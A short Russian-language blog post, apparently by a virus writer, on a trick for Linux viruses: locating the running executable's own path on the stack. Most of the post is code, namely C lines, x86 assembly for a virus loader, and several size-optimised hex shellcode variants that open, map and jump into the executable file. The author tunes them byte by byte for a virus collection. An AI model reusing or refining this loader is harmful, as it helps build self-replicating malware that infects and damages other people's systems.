Фиг знает когда еще увидел, что ядро кладет в конец стека имя запущенного файла. Полезная такая фишка. Можно было тупо полистать вниз от BFFFFFFF. На 2.6 естественно не работало. Сейчас начал писать туториал по линуксовым вирям и вспомнил про эту штуку, проще уж некуда:
for (i = 0; envp[i + 1]; i++) ;
for (selfexe = envp[i]; *selfexe++; ) ;
UPD можно в загрузчике пару байт выгадать, такой вот заменой:
pusha
# pushl $0x00006578
# pushl $0x652f666c
# pushl $0x65732f63
# pushl $0x6f72702f
# mov %esp,%ebx
mov 32(%esp), %edi
lea 40(%esp), %ecx
lea (%ecx,%edi,4), %edi
repnz scas (%edi), %eax
mov -8(%edi), %edi
repnz scas (%edi), %al
xchg %ebx, %edi
UPD не такой красивый, но более отъявленный вариант:
0000 60958b5c 242468## ######89 c1b005cd
0010 8050b001 50505051 89e3b05a cd80ffe0
или даже так:
0000 60958b5c 242468aa 55aa55b0 05cd8050
0010 b0015050 505189e3 b05acd80 ffe0
P.S. добавить, что ли его в caveat, правда, izee_eof@lj наверное уже задолбался, обновленные варианты разгребать, а? подожду-ка я submission deadline Ж-)
а вот в более правильном варианте еще бы байтик один убрать, чтобы не торчало...
0000 60958b7c 24208d4c 24288d3c b9f2af8b
0010 7ff8f2ae 89fb68aa 55aa55e9 00000000
0020 89c1b005 cd8050b0 01505050 5189e3b0
0030 5acd80ff e0
|